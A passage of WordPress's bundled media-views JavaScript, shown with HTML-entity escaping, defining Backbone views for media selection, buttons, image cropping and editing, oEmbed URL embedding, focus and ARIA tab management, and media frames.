		var sidebar = this.sidebar;
		sidebar.unset(&#039;details&#039;);
		sidebar.unset(&#039;compat&#039;);
		sidebar.unset(&#039;display&#039;);
		// Hide the sidebar on mobile.
		sidebar.$el.removeClass( &#039;visible&#039; );
	}
});

module.exports = AttachmentsBrowser;


/***/ },

/***/ 3479
(module) {

var Attachments = wp.media.view.Attachments,
	Selection;

/**
 * wp.media.view.Attachments.Selection
 *
 * @memberOf wp.media.view.Attachments
 *
 * @class
 * @augments wp.media.view.Attachments
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
Selection = Attachments.extend(/** @lends wp.media.view.Attachments.Selection.prototype */{
	events: {},
	initialize: function() {
		_.defaults( this.options, {
			sortable:   false,
			resize:     false,

			// The single `Attachment` view to be used in the `Attachments` view.
			AttachmentView: wp.media.view.Attachment.Selection
		});
		// Call &#039;initialize&#039; directly on the parent class.
		return Attachments.prototype.initialize.apply( this, arguments );
	}
});

module.exports = Selection;


/***/ },

/***/ 168
(module) {

var $ = Backbone.$,
	ButtonGroup;

/**
 * wp.media.view.ButtonGroup
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
ButtonGroup = wp.media.View.extend(/** @lends wp.media.view.ButtonGroup.prototype */{
	tagName:   &#039;div&#039;,
	className: &#039;button-group button-large media-button-group&#039;,

	initialize: function() {
		/**
		 * @member {wp.media.view.Button[]}
		 */
		this.buttons = _.map( this.options.buttons || [], function( button ) {
			if ( button instanceof Backbone.View ) {
				return button;
			} else {
				return new wp.media.view.Button( button ).render();
			}
		});

		delete this.options.buttons;

		if ( this.options.classes ) {
			this.$el.addClass( this.options.classes );
		}
	},

	/**
	 * @return {wp.media.view.ButtonGroup}
	 */
	render: function() {
		this.$el.html( $( _.pluck( this.buttons, &#039;el&#039; ) ).detach() );
		return this;
	}
});

module.exports = ButtonGroup;


/***/ },

/***/ 846
(module) {

/**
 * wp.media.view.Button
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
var Button = wp.media.View.extend(/** @lends wp.media.view.Button.prototype */{
	tagName:    &#039;button&#039;,
	className:  &#039;media-button&#039;,
	attributes: { type: &#039;button&#039; },

	events: {
		&#039;click&#039;: &#039;click&#039;
	},

	defaults: {
		text:     &#039;&#039;,
		style:    &#039;&#039;,
		size:     &#039;large&#039;,
		disabled: false
	},

	initialize: function() {
		/**
		 * Create a model with the provided `defaults`.
		 *
		 * @member {Backbone.Model}
		 */
		this.model = new Backbone.Model( this.defaults );

		// If any of the `options` have a key from `defaults`, apply its
		// value to the `model` and remove it from the `options` object.
		_.each( this.defaults, function( def, key ) {
			var value = this.options[ key ];
			if ( _.isUndefined( value ) ) {
				return;
			}

			this.model.set( key, value );
			delete this.options[ key ];
		}, this );

		this.listenTo( this.model, &#039;change&#039;, this.render );
	},
	/**
	 * @return {wp.media.view.Button} Returns itself to allow chaining.
	 */
	render: function() {
		var classes = [ &#039;button&#039;, this.className ],
			model = this.model.toJSON();

		if ( model.style ) {
			classes.push( &#039;button-&#039; + model.style );
		}

		if ( model.size ) {
			classes.push( &#039;button-&#039; + model.size );
		}

		classes = _.uniq( classes.concat( this.options.classes ) );
		this.el.className = classes.join(&#039; &#039;);

		this.$el.attr( &#039;disabled&#039;, model.disabled );
		this.$el.text( this.model.get(&#039;text&#039;) );

		return this;
	},
	/**
	 * @param {Object} event
	 */
	click: function( event ) {
		if ( &#039;#&#039; === this.attributes.href ) {
			event.preventDefault();
		}

		if ( this.options.click &amp;&amp; ! this.model.get(&#039;disabled&#039;) ) {
			this.options.click.apply( this, arguments );
		}
	}
});

module.exports = Button;


/***/ },

/***/ 7637
(module) {

var View = wp.media.View,
	UploaderStatus = wp.media.view.UploaderStatus,
	l10n = wp.media.view.l10n,
	$ = jQuery,
	Cropper;

/**
 * wp.media.view.Cropper
 *
 * Uses the imgAreaSelect plugin to allow a user to crop an image.
 *
 * Takes imgAreaSelect options from
 * wp.customize.HeaderControl.calculateImageSelectOptions via
 * wp.customize.HeaderControl.openMM.
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
Cropper = View.extend(/** @lends wp.media.view.Cropper.prototype */{
	className: &#039;crop-content&#039;,
	template: wp.template(&#039;crop-content&#039;),
	initialize: function() {
		_.bindAll(this, &#039;onImageLoad&#039;);
	},
	ready: function() {
		this.controller.frame.on(&#039;content:error:crop&#039;, this.onError, this);
		this.$image = this.$el.find(&#039;.crop-image&#039;);
		this.$image.on(&#039;load&#039;, this.onImageLoad);
		$(window).on(&#039;resize.cropper&#039;, _.debounce(this.onImageLoad, 250));
	},
	remove: function() {
		$(window).off(&#039;resize.cropper&#039;);
		this.$el.remove();
		this.$el.off();
		View.prototype.remove.apply(this, arguments);
	},
	prepare: function() {
		return {
			title: l10n.cropYourImage,
			url: this.options.attachment.get(&#039;url&#039;)
		};
	},
	onImageLoad: function() {
		var imgOptions = this.controller.get(&#039;imgSelectOptions&#039;),
			imgSelect;

		if (typeof imgOptions === &#039;function&#039;) {
			imgOptions = imgOptions(this.options.attachment, this.controller);
		}

		imgOptions = _.extend(imgOptions, {
			parent: this.$el,
			onInit: function() {

				// Store the set ratio.
				var setRatio = imgSelect.getOptions().aspectRatio;

				// On mousedown, if no ratio is set and the Shift key is down, use a 1:1 ratio.
				this.parent.children().on( &#039;mousedown touchstart&#039;, function( e ) {

					// If no ratio is set and the shift key is down, use a 1:1 ratio.
					if ( ! setRatio &amp;&amp; e.shiftKey ) {
						imgSelect.setOptions( {
							aspectRatio: &#039;1:1&#039;
						} );
					}
				} );

				this.parent.children().on( &#039;mouseup touchend&#039;, function() {

					// Restore the set ratio.
					imgSelect.setOptions( {
						aspectRatio: setRatio ? setRatio : false
					} );
				} );
			}
		} );
		this.trigger(&#039;image-loaded&#039;);
		imgSelect = this.controller.imgSelect = this.$image.imgAreaSelect(imgOptions);
	},
	onError: function() {
		var filename = this.options.attachment.get(&#039;filename&#039;);

		this.views.add( &#039;.upload-errors&#039;, new wp.media.view.UploaderStatusError({
			filename: UploaderStatus.prototype.filename(filename),
			message: window._wpMediaViewsL10n.cropError
		}), { at: 0 });
	}
});

module.exports = Cropper;


/***/ },

/***/ 6126
(module) {

var View = wp.media.View,
	EditImage;

/**
 * wp.media.view.EditImage
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
EditImage = View.extend(/** @lends wp.media.view.EditImage.prototype */{
	className: &#039;image-editor&#039;,
	template: wp.template(&#039;image-editor&#039;),

	initialize: function( options ) {
		this.editor = window.imageEdit;
		this.controller = options.controller;
		View.prototype.initialize.apply( this, arguments );
	},

	prepare: function() {
		return this.model.toJSON();
	},

	loadEditor: function() {
		this.editor.open( this.model.get( &#039;id&#039; ), this.model.get( &#039;nonces&#039; ).edit, this );
	},

	back: function() {
		var lastState = this.controller.lastState();
		this.controller.setState( lastState );
	},

	refresh: function() {
		this.model.fetch();
	},

	save: function() {
		var lastState = this.controller.lastState();

		this.model.fetch().done( _.bind( function() {
			this.controller.setState( lastState );
		}, this ) );
	}

});

module.exports = EditImage;


/***/ },

/***/ 5741
(module) {

/**
 * wp.media.view.Embed
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
var Embed = wp.media.View.extend(/** @lends wp.media.view.Ember.prototype */{
	className: &#039;media-embed&#039;,

	initialize: function() {
		/**
		 * @member {wp.media.view.EmbedUrl}
		 */
		this.url = new wp.media.view.EmbedUrl({
			controller: this.controller,
			model:      this.model.props
		}).render();

		this.views.set([ this.url ]);
		this.refresh();
		this.listenTo( this.model, &#039;change:type&#039;, this.refresh );
		this.listenTo( this.model, &#039;change:loading&#039;, this.loading );
	},

	/**
	 * @param {Object} view
	 */
	settings: function( view ) {
		if ( this._settings ) {
			this._settings.remove();
		}
		this._settings = view;
		this.views.add( view );
	},

	refresh: function() {
		var type = this.model.get(&#039;type&#039;),
			constructor;

		if ( &#039;image&#039; === type ) {
			constructor = wp.media.view.EmbedImage;
		} else if ( &#039;link&#039; === type ) {
			constructor = wp.media.view.EmbedLink;
		} else {
			return;
		}

		this.settings( new constructor({
			controller: this.controller,
			model:      this.model.props,
			priority:   40
		}) );
	},

	loading: function() {
		this.$el.toggleClass( &#039;embed-loading&#039;, this.model.get(&#039;loading&#039;) );
	}
});

module.exports = Embed;


/***/ },

/***/ 2395
(module) {

var AttachmentDisplay = wp.media.view.Settings.AttachmentDisplay,
	EmbedImage;

/**
 * wp.media.view.EmbedImage
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.view.Settings.AttachmentDisplay
 * @augments wp.media.view.Settings
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
EmbedImage = AttachmentDisplay.extend(/** @lends wp.media.view.EmbedImage.prototype */{
	className: &#039;embed-media-settings&#039;,
	template:  wp.template(&#039;embed-image-settings&#039;),

	initialize: function() {
		/**
		 * Call `initialize` directly on parent class with passed arguments
		 */
		AttachmentDisplay.prototype.initialize.apply( this, arguments );
		this.listenTo( this.model, &#039;change:url&#039;, this.updateImage );
	},

	updateImage: function() {
		this.$(&#039;img&#039;).attr( &#039;src&#039;, this.model.get(&#039;url&#039;) );
	}
});

module.exports = EmbedImage;


/***/ },

/***/ 8232
(module) {

var $ = jQuery,
	EmbedLink;

/**
 * wp.media.view.EmbedLink
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.view.Settings
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
EmbedLink = wp.media.view.Settings.extend(/** @lends wp.media.view.EmbedLink.prototype */{
	className: &#039;embed-link-settings&#039;,
	template:  wp.template(&#039;embed-link-settings&#039;),

	initialize: function() {
		this.listenTo( this.model, &#039;change:url&#039;, this.updateoEmbed );
	},

	updateoEmbed: _.debounce( function() {
		var url = this.model.get( &#039;url&#039; );

		// Clear out previous results.
		this.$(&#039;.embed-container&#039;).hide().find(&#039;.embed-preview&#039;).empty();
		this.$( &#039;.setting&#039; ).hide();

		// Only proceed with embed if the field contains more than 11 characters.
		// Example: http://a.io is 11 chars
		if ( url &amp;&amp; ( url.length &lt; 11 || ! url.match(/^http(s)?:\/\//) ) ) {
			return;
		}

		this.fetch();
	}, wp.media.controller.Embed.sensitivity ),

	fetch: function() {
		var url = this.model.get( &#039;url&#039; ), re, youTubeEmbedMatch;

		// Check if they haven&#039;t typed in 500 ms.
		if ( $(&#039;#embed-url-field&#039;).val() !== url ) {
			return;
		}

		if ( this.dfd &amp;&amp; &#039;pending&#039; === this.dfd.state() ) {
			this.dfd.abort();
		}

		// Support YouTube embed urls, since they work once in the editor.
		re = /https?:\/\/www\.youtube\.com\/embed\/([^/]+)/;
		youTubeEmbedMatch = re.exec( url );
		if ( youTubeEmbedMatch ) {
			url = &#039;https://www.youtube.com/watch?v=&#039; + youTubeEmbedMatch[ 1 ];
		}

		this.dfd = wp.apiRequest({
			url: wp.media.view.settings.oEmbedProxyUrl,
			data: {
				url: url,
				maxwidth: this.model.get( &#039;width&#039; ),
				maxheight: this.model.get( &#039;height&#039; )
			},
			type: &#039;GET&#039;,
			dataType: &#039;json&#039;,
			context: this
		})
			.done( function( response ) {
				this.renderoEmbed( {
					data: {
						body: response.html || &#039;&#039;
					}
				} );
			} )
			.fail( this.renderFail );
	},

	renderFail: function ( response, status ) {
		if ( &#039;abort&#039; === status ) {
			return;
		}
		this.$( &#039;.link-text&#039; ).show();
	},

	renderoEmbed: function( response ) {
		var html = ( response &amp;&amp; response.data &amp;&amp; response.data.body ) || &#039;&#039;;

		if ( html ) {
			this.$(&#039;.embed-container&#039;).show().find(&#039;.embed-preview&#039;).html( html );
		} else {
			this.renderFail();
		}
	}
});

module.exports = EmbedLink;


/***/ },

/***/ 7327
(module) {

var View = wp.media.View,
	$ = jQuery,
	l10n = wp.media.view.l10n,
	EmbedUrl;

/**
 * wp.media.view.EmbedUrl
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
EmbedUrl = View.extend(/** @lends wp.media.view.EmbedUrl.prototype */{
	tagName:   &#039;span&#039;,
	className: &#039;embed-url&#039;,

	events: {
		&#039;input&#039;: &#039;url&#039;
	},

	initialize: function() {
		this.$input = $( &#039;&lt;input id=&quot;embed-url-field&quot; type=&quot;url&quot; /&gt;&#039; )
			.attr( &#039;aria-label&#039;, l10n.insertFromUrlTitle )
			.val( this.model.get(&#039;url&#039;) );
		this.input = this.$input[0];

		this.spinner = $(&#039;&lt;span class=&quot;spinner&quot; /&gt;&#039;)[0];
		this.$el.append([ this.input, this.spinner ]);

		this.listenTo( this.model, &#039;change:url&#039;, this.render );

		if ( this.model.get( &#039;url&#039; ) ) {
			_.delay( _.bind( function () {
				this.model.trigger( &#039;change:url&#039; );
			}, this ), 500 );
		}
	},
	/**
	 * @return {wp.media.view.EmbedUrl} Returns itself to allow chaining.
	 */
	render: function() {
		var $input = this.$input;

		if ( $input.is(&#039;:focus&#039;) ) {
			return;
		}

		if ( this.model.get( &#039;url&#039; ) ) {
			this.input.value = this.model.get(&#039;url&#039;);
		} else {
			this.input.setAttribute( &#039;placeholder&#039;, &#039;https://&#039; );
		}

		/**
		 * Call `render` directly on parent class with passed arguments
		 */
		View.prototype.render.apply( this, arguments );
		return this;
	},

	url: function( event ) {
		var url = event.target.value || &#039;&#039;;
		this.model.set( &#039;url&#039;, url.trim() );
	}
});

module.exports = EmbedUrl;


/***/ },

/***/ 718
(module) {

var $ = jQuery;

/**
 * wp.media.view.FocusManager
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
var FocusManager = wp.media.View.extend(/** @lends wp.media.view.FocusManager.prototype */{

	events: {
		&#039;keydown&#039;: &#039;focusManagementMode&#039;
	},

	/**
	 * Initializes the Focus Manager.
	 *
	 * @param {Object} options The Focus Manager options.
	 *
	 * @since 5.3.0
	 *
	 * @return {void}
	 */
	initialize: function( options ) {
		this.mode                    = options.mode || &#039;constrainTabbing&#039;;
		this.tabsAutomaticActivation = options.tabsAutomaticActivation || false;
	},

 	/**
	 * Determines which focus management mode to use.
	 *
	 * @since 5.3.0
	 *
	 * @param {Object} event jQuery event object.
	 *
	 * @return {void}
	 */
	focusManagementMode: function( event ) {
		if ( this.mode === &#039;constrainTabbing&#039; ) {
			this.constrainTabbing( event );
		}

		if ( this.mode === &#039;tabsNavigation&#039; ) {
			this.tabsNavigation( event );
		}
	},

	/**
	 * Gets all the tabbable elements.
	 *
	 * @since 5.3.0
	 *
	 * @return {Object} A jQuery collection of tabbable elements.
	 */
	getTabbables: function() {
		// Skip the file input added by Plupload.
		return this.$( &#039;:tabbable&#039; ).not( &#039;.moxie-shim input[type=&quot;file&quot;]&#039; );
	},

	/**
	 * Moves focus to the modal dialog.
	 *
	 * @since 3.5.0
	 *
	 * @return {void}
	 */
	focus: function() {
		this.$( &#039;.media-modal&#039; ).trigger( &#039;focus&#039; );
	},

	/**
	 * Constrains navigation with the Tab key within the media view element.
	 *
	 * @since 4.0.0
	 *
	 * @param {Object} event A keydown jQuery event.
	 *
	 * @return {void}
	 */
	constrainTabbing: function( event ) {
		var tabbables;

		// Look for the tab key.
		if ( 9 !== event.keyCode ) {
			return;
		}

		tabbables = this.getTabbables();

		// Keep tab focus within media modal while it&#039;s open.
		if ( tabbables.last()[0] === event.target &amp;&amp; ! event.shiftKey ) {
			tabbables.first().focus();
			return false;
		} else if ( tabbables.first()[0] === event.target &amp;&amp; event.shiftKey ) {
			tabbables.last().focus();
			return false;
		}
	},

	/**
	 * Hides from assistive technologies all the body children.
	 *
	 * Sets an `aria-hidden=&quot;true&quot;` attribute on all the body children except
	 * the provided element and other elements that should not be hidden.
	 *
	 * The reason why we use `aria-hidden` is that `aria-modal=&quot;true&quot;` is buggy
	 * in Safari 11.1 and support is spotty in other browsers. Also, `aria-modal=&quot;true&quot;`
	 * prevents the `wp.a11y.speak()` ARIA live regions to work as they&#039;re outside
	 * of the modal dialog and get hidden from assistive technologies.
	 *
	 * @since 5.2.3
	 *
	 * @param {Object} visibleElement The jQuery object representing the element that should not be hidden.
	 *
	 * @return {void}
	 */
	setAriaHiddenOnBodyChildren: function( visibleElement ) {
		var bodyChildren,
			self = this;

		if ( this.isBodyAriaHidden ) {
			return;
		}

		// Get all the body children.
		bodyChildren = document.body.children;

		// Loop through the body children and hide the ones that should be hidden.
		_.each( bodyChildren, function( element ) {
			// Don&#039;t hide the modal element.
			if ( element === visibleElement[0] ) {
				return;
			}

			// Determine the body children to hide.
			if ( self.elementShouldBeHidden( element ) ) {
				element.setAttribute( &#039;aria-hidden&#039;, &#039;true&#039; );
				// Store the hidden elements.
				self.ariaHiddenElements.push( element );
			}
		} );

		this.isBodyAriaHidden = true;
	},

	/**
	 * Unhides from assistive technologies all the body children.
	 *
	 * Makes visible again to assistive technologies all the body children
	 * previously hidden and stored in this.ariaHiddenElements.
	 *
	 * @since 5.2.3
	 *
	 * @return {void}
	 */
	removeAriaHiddenFromBodyChildren: function() {
		_.each( this.ariaHiddenElements, function( element ) {
			element.removeAttribute( &#039;aria-hidden&#039; );
		} );

		this.ariaHiddenElements = [];
		this.isBodyAriaHidden   = false;
	},

	/**
	 * Determines if the passed element should not be hidden from assistive technologies.
	 *
	 * @since 5.2.3
	 *
	 * @param {Object} element The DOM element that should be checked.
	 *
	 * @return {boolean} Whether the element should not be hidden from assistive technologies.
	 */
	elementShouldBeHidden: function( element ) {
		var role = element.getAttribute( &#039;role&#039; ),
			liveRegionsRoles = [ &#039;alert&#039;, &#039;status&#039;, &#039;log&#039;, &#039;marquee&#039;, &#039;timer&#039; ];

		/*
		 * Don&#039;t hide scripts, elements that already have `aria-hidden`, and
		 * ARIA live regions.
		 */
		return ! (
			element.tagName === &#039;SCRIPT&#039; ||
			element.hasAttribute( &#039;aria-hidden&#039; ) ||
			element.hasAttribute( &#039;aria-live&#039; ) ||
			liveRegionsRoles.indexOf( role ) !== -1
		);
	},

	/**
	 * Whether the body children are hidden from assistive technologies.
	 *
	 * @since 5.2.3
	 */
	isBodyAriaHidden: false,

	/**
	 * Stores an array of DOM elements that should be hidden from assistive
	 * technologies, for example when the media modal dialog opens.
	 *
	 * @since 5.2.3
	 */
	ariaHiddenElements: [],

	/**
	 * Holds the jQuery collection of ARIA tabs.
	 *
	 * @since 5.3.0
	 */
	tabs: $(),

	/**
	 * Sets up tabs in an ARIA tabbed interface.
	 *
	 * @since 5.3.0
	 *
	 * @param {Object} event jQuery event object.
	 *
	 * @return {void}
	 */
	setupAriaTabs: function() {
		this.tabs = this.$( &#039;[role=&quot;tab&quot;]&#039; );

		// Set up initial attributes.
		this.tabs.attr( {
			&#039;aria-selected&#039;: &#039;false&#039;,
			tabIndex: &#039;-1&#039;
		} );

		// Set up attributes on the initially active tab.
		this.tabs.filter( &#039;.active&#039; )
			.removeAttr( &#039;tabindex&#039; )
			.attr( &#039;aria-selected&#039;, &#039;true&#039; );
	},

	/**
	 * Enables arrows navigation within the ARIA tabbed interface.
	 *
	 * @since 5.3.0
	 *
	 * @param {Object} event jQuery event object.
	 *
	 * @return {void}
	 */
	tabsNavigation: function( event ) {
		var orientation = &#039;horizontal&#039;,
			keys = [ 32, 35, 36, 37, 38, 39, 40 ];

		// Return if not Spacebar, End, Home, or Arrow keys.
		if ( keys.indexOf( event.which ) === -1 ) {
			return;
		}

		// Determine navigation direction.
		if ( this.$el.attr( &#039;aria-orientation&#039; ) === &#039;vertical&#039; ) {
			orientation = &#039;vertical&#039;;
		}

		// Make Up and Down arrow keys do nothing with horizontal tabs.
		if ( orientation === &#039;horizontal&#039; &amp;&amp; [ 38, 40 ].indexOf( event.which ) !== -1 ) {
			return;
		}

		// Make Left and Right arrow keys do nothing with vertical tabs.
		if ( orientation === &#039;vertical&#039; &amp;&amp; [ 37, 39 ].indexOf( event.which ) !== -1 ) {
			return;
		}

		this.switchTabs( event, this.tabs );
	},

	/**
	 * Switches tabs in the ARIA tabbed interface.
	 *
	 * @since 5.3.0
	 *
	 * @param {Object} event jQuery event object.
	 *
	 * @return {void}
	 */
	switchTabs: function( event ) {
		var key   = event.which,
			index = this.tabs.index( $( event.target ) ),
			newIndex;

		switch ( key ) {
			// Space bar: Activate current targeted tab.
			case 32: {
				this.activateTab( this.tabs[ index ] );
				break;
			}
			// End key: Activate last tab.
			case 35: {
				event.preventDefault();
				this.activateTab( this.tabs[ this.tabs.length - 1 ] );
				break;
			}
			// Home key: Activate first tab.
			case 36: {
				event.preventDefault();
				this.activateTab( this.tabs[ 0 ] );
				break;
			}
			// Left and up keys: Activate previous tab.
			case 37:
			case 38: {
				event.preventDefault();
				newIndex = ( index - 1 ) &lt; 0 ? this.tabs.length - 1 : index - 1;
				this.activateTab( this.tabs[ newIndex ] );
				break;
			}
			// Right and down keys: Activate next tab.
			case 39:
			case 40: {
				event.preventDefault();
				newIndex = ( index + 1 ) === this.tabs.length ? 0 : index + 1;
				this.activateTab( this.tabs[ newIndex ] );
				break;
			}
		}
	},

	/**
	 * Sets a single tab to be focusable and semantically selected.
	 *
	 * @since 5.3.0
	 *
	 * @param {Object} tab The tab DOM element.
	 *
	 * @return {void}
	 */
	activateTab: function( tab ) {
		if ( ! tab ) {
			return;
		}

		// The tab is a DOM element: no need for jQuery methods.
		tab.focus();

		// Handle automatic activation.
		if ( this.tabsAutomaticActivation ) {
			tab.removeAttribute( &#039;tabindex&#039; );
			tab.setAttribute( &#039;aria-selected&#039;, &#039;true&#039; );
			tab.click();

			return;
		}

		// Handle manual activation.
		$( tab ).on( &#039;click&#039;, function() {
			tab.removeAttribute( &#039;tabindex&#039; );
			tab.setAttribute( &#039;aria-selected&#039;, &#039;true&#039; );
		} );
 	}
});

module.exports = FocusManager;


/***/ },

/***/ 1061
(module) {

/**
 * wp.media.view.Frame
 *
 * A frame is a composite view consisting of one or more regions and one or more
 * states.
 *
 * @memberOf wp.media.view
 *
 * @see wp.media.controller.State
 * @see wp.media.controller.Region
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 * @mixes wp.media.controller.StateMachine
 */
var Frame = wp.media.View.extend(/** @lends wp.media.view.Frame.prototype */{
	initialize: function() {
		_.defaults( this.options, {
			mode: [ &#039;select&#039; ]
		});
		this._createRegions();
		this._createStates();
		this._createModes();
	},

	_createRegions: function() {
		// Clone the regions array.
		this.regions = this.regions ? this.regions.slice() : [];

		// Initialize regions.
		_.each( this.regions, function( region ) {
			this[ region ] = new wp.media.controller.Region({
				view:     this,
				id:       region,
				selector: &#039;.media-frame-&#039; + region
			});
		}, this );
	},
	/**
	 * Create the frame&#039;s states.
	 *
	 * @see wp.media.controller.State
	 * @see wp.media.controller.StateMachine
	 *
	 * @fires wp.media.controller.State#ready
	 */
	_createStates: function() {
		// Create the default `states` collection.
		this.states = new Backbone.Collection( null, {
			model: wp.media.controller.State
		});

		// Ensure states have a reference to the frame.
		this.states.on( &#039;add&#039;, function( model ) {
			model.frame = this;
			model.trigger(&#039;ready&#039;);
		}, this );

		if ( this.options.states ) {
			this.states.add( this.options.states );
		}
	},

	/**
	 * A frame can be in a mode or multiple modes at one time.
	 *
	 * For example, the manage media frame can be in the `Bulk Select` or `Edit` mode.
	 */
	_createModes: function() {
		// Store active &quot;modes&quot; that the frame is in. Unrelated to region modes.
		this.activeModes = new Backbone.Collection();
		this.activeModes.on( &#039;add remove reset&#039;, _.bind( this.triggerModeEvents, this ) );

		_.each( this.options.mode, function( mode ) {
			this.activateMode( mode );
		}, this );
	},
	/**
	 * Reset all states on the frame to their defaults.
	 *
	 * @return {wp.media.view.Frame} Returns itself to allow chaining.
	 */
	reset: function() {
		this.states.invoke( &#039;trigger&#039;, &#039;reset&#039; );
		return this;
	},
	/**
	 * Map activeMode collection events to the frame.
	 */
	triggerModeEvents: function( model, collection, options ) {
		var collectionEvent,
			modeEventMap = {
				add: &#039;activate&#039;,
				remove: &#039;deactivate&#039;
			},
			eventToTrigger;
		// Probably a better way to do this.
		_.each( options, function( value, key ) {
			if ( value ) {
				collectionEvent = key;
			}
		} );

		if ( ! _.has( modeEventMap, collectionEvent ) ) {
			return;
		}

		eventToTrigger = model.get(&#039;id&#039;) + &#039;:&#039; + modeEventMap[collectionEvent];
		this.trigger( eventToTrigger );
	},
	/**
	 * Activate a mode on the frame.
	 *
	 * @param string mode Mode ID.
	 * @return {this} Returns itself to allow chaining.
	 */
	activateMode: function( mode ) {
		// Bail if the mode is already active.
		if ( this.isModeActive( mode ) ) {
			return;
		}
		this.activeModes.add( [ { id: mode } ] );
		// Add a CSS class to the frame so elements can be styled for the mode.
		this.$el.addClass( &#039;mode-&#039; + mode );

		return this;
	},
	/**
	 * Deactivate a mode on the frame.
	 *
	 * @param string mode Mode ID.
	 * @return {this} Returns itself to allow chaining.
	 */
	deactivateMode: function( mode ) {
		// Bail if the mode isn&#039;t active.
		if ( ! this.isModeActive( mode ) ) {
			return this;
		}
		this.activeModes.remove( this.activeModes.where( { id: mode } ) );
		this.$el.removeClass( &#039;mode-&#039; + mode );
		/**
		 * Frame mode deactivation event.
		 *
		 * @event wp.media.view.Frame#{mode}:deactivate
		 */
		this.trigger( mode + &#039;:deactivate&#039; );

		return this;
	},
	/**
	 * Check if a mode is enabled on the frame.
	 *
	 * @param string mode Mode ID.
	 * @return bool
	 */
	isModeActive: function( mode ) {
		return Boolean( this.activeModes.where( { id: mode } ).length );
	}
});

// Make the `Frame` a `StateMachine`.
_.extend( Frame.prototype, wp.media.controller.StateMachine.prototype );

module.exports = Frame;


/***/ },

/***/ 5424
(module) {

var Select = wp.media.view.MediaFrame.Select,
	l10n = wp.media.view.l10n,
	ImageDetails;

/**
 * wp.media.view.MediaFrame.ImageDetails
 *
 * A media frame for manipulating an image that&#039;s already been inserted
 * into a post.
 *
 * @memberOf wp.media.view.MediaFrame
 *
 * @class
 * @augments wp.media.view.MediaFrame.Select
 * @augments wp.media.view.MediaFrame
 * @augments wp.media.view.Frame
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 * @mixes wp.media.controller.StateMachine
 */
ImageDetails = Select.extend(/** @lends wp.media.view.MediaFrame.ImageDetails.prototype */{
	defaults: {
		id:      &#039;image&#039;,
		url:     &#039;&#039;,
		menu:    &#039;image-details&#039;,
		content: &#039;image-details&#039;,
		toolbar: &#039;image-details&#039;,
		type:    &#039;link&#039;,
		title:    l10n.imageDetailsTitle,
		priority: 120
	},

	initialize: function( options ) {
		this.image = new wp.media.model.PostImage( options.metadata );
		this.options.selection = new wp.media.model.Selection( this.image.attachment, { multiple: false } );
		Select.prototype.initialize.apply( this, arguments );
	},

	bindHandlers: function() {
		Select.prototype.bindHandlers.apply( this, arguments );
		this.on( &#039;menu:create:image-details&#039;, this.createMenu, this );
		this.on( &#039;content:create:image-details&#039;, this.imageDetailsContent, this );
		this.on( &#039;content:render:edit-image&#039;, this.editImageContent, this );
		this.on( &#039;toolbar:render:image-details&#039;, this.renderImageDetailsToolbar, this );
		// Override the select toolbar.
		this.on( &#039;toolbar:render:replace&#039;, this.renderReplaceImageToolbar, this );
	},

	createStates: function() {
		this.states.add([
			new wp.media.controller.ImageDetails({
				image: this.image,
				editable: false
			}),
			new wp.media.controller.ReplaceImage({
				id: &#039;replace-image&#039;,
				library: wp.media.query( { type: &#039;image&#039; } ),
				image: this.image,
				multiple:  false,
				title:     l10n.imageReplaceTitle,
				toolbar: &#039;replace&#039;,
				priority:  80,
				displaySettings: true
			}),
			new wp.media.controller.EditImage( {
				image: this.image,
				selection: this.options.selection
			} )
		]);
	},

	imageDetailsContent: function( options ) {
		options.view = new wp.media.view.ImageDetails({
			controller: this,
			model: this.state().image,
			attachment: this.state().image.attachment
		});
	},

	editImageContent: function() {
		var state = this.state(),
			model = state.get(&#039;image&#039;),
			view;

		if ( ! model ) {
			return;
		}

		view = new wp.media.view.EditImage( { model: model, controller: this } ).render();

		this.content.set( view );

		// After bringing in the frame, load the actual editor via an Ajax call.
		view.loadEditor();

	},

	renderImageDetailsToolbar: function() {
		this.toolbar.set( new wp.media.view.Toolbar({
			controller: this,
			items: {
				select: {
					style:    &#039;primary&#039;,
					text:     l10n.update,
					priority: 80,

					click: function() {
						var controller = this.controller,
							state = controller.state();

						controller.close();

						// Not sure if we want to use wp.media.string.image which will create a shortcode or
						// perhaps wp.html.string to at least to build the &lt;img /&gt;.
						state.trigger( &#039;update&#039;, controller.image.toJSON() );

						// Restore and reset the default state.
						controller.setState( controller.options.state );
						controller.reset();
					}
				}
			}
		}) );
	},

	renderReplaceImageToolbar: function() {
		var frame = this,
			lastState = frame.lastState(),
			previous = lastState &amp;&amp; lastState.id;

		this.toolbar.set( new wp.media.view.Toolbar({
			controller: this,
			items: {
				back: {
					text:     l10n.back,
					priority: 80,
					click:    function() {
						if ( previous ) {
							frame.setState( previous );
						} else {
							frame.close();
						}
					}
				},

				replace: {
					style:    &#039;primary&#039;,
					text:     l10n.replace,
					priority: 20,
					requires: { selection: true },

					click: function() {
						var controller = this.controller,
							state = controller.state(),
							selection = state.get( &#039;selection&#039; ),
							attachment = selection.single();

						controller.close();

						controller.image.changeAttachment( attachment, state.display( attachment ) );

						// Not sure if we want to use wp.media.string.image which will create a shortcode or
						// perhaps wp.html.string to at least to build the &lt;img /&gt;.
